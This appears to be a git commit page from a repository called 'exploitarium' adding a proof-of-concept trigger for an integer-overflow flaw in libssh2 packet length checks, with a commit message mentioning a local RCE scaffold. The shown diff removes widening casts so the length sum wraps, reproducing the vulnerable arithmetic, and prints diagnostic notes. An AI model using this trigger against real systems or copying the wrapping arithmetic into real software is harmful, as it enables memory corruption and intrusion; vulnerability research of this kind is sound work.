git404/exploitarium
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Add libssh2 CVE-2026-55200 trigger and local RCE scaffold

Browse Source
This commit is contained in:
ashton
2026-06-23 05:13:10 -05:00
parent a638a1cf5e
commit da8504bc4d
7 changed files with 1052 additions and 124 deletions
Download Patch File Download Diff File Expand all files Collapse all files

11
libssh2-cve-2026-55200-poc/poc/cve_2026_55200_probe.c
View File

@@ -127,7 +127,7 @@ static int native_unpatched(uint32_t packet_length, uint32_t mac_len,
return r->rc;
}
total += (size_t)packet_length + (size_t)mac_len + (size_t)auth_len;
total += packet_length + mac_len + auth_len;
r->native_total = total;
if(total > LIBSSH2_PACKET_MAXPAYLOAD || total == 0u) {
@@ -157,7 +157,7 @@ static int native_fixed(uint32_t packet_length, uint32_t mac_len,
return r->rc;
}
total += (size_t)packet_length + (size_t)mac_len + (size_t)auth_len;
total += packet_length + mac_len + auth_len;
r->native_total = total;
if(total > LIBSSH2_PACKET_MAXPAYLOAD || total == 0u) {
@@ -220,8 +220,11 @@ static int run_benign(uint32_t packet_length, uint32_t mac_len,
printf("fixed32_decision=%s\n", rc_name(fixed.rc));
printf("native_unpatched_decision=%s\n", rc_name(native.rc));
printf("native_unpatched_total=%zu\n", native.native_total);
if(sizeof(size_t) >= 8u && native.rc == POC_ERROR_OUT_OF_BOUNDARY) {
printf("native_note=64-bit native arithmetic rejects this default input; modeled 32-bit arithmetic remains vulnerable\n");
if(native.rc == POC_OK && sizeof(size_t) >= 8u) {
printf("native_note=source-shaped integer expression wraps before assignment into 64-bit size_t\n");
}
else if(sizeof(size_t) >= 8u && native.rc == POC_ERROR_OUT_OF_BOUNDARY) {
printf("native_note=64-bit native arithmetic rejects when each operand is widened before addition\n");
}
else if(sizeof(size_t) < 8u && native.rc == POC_OK) {
printf("native_note=32-bit native arithmetic reaches the wrapped allocation state\n");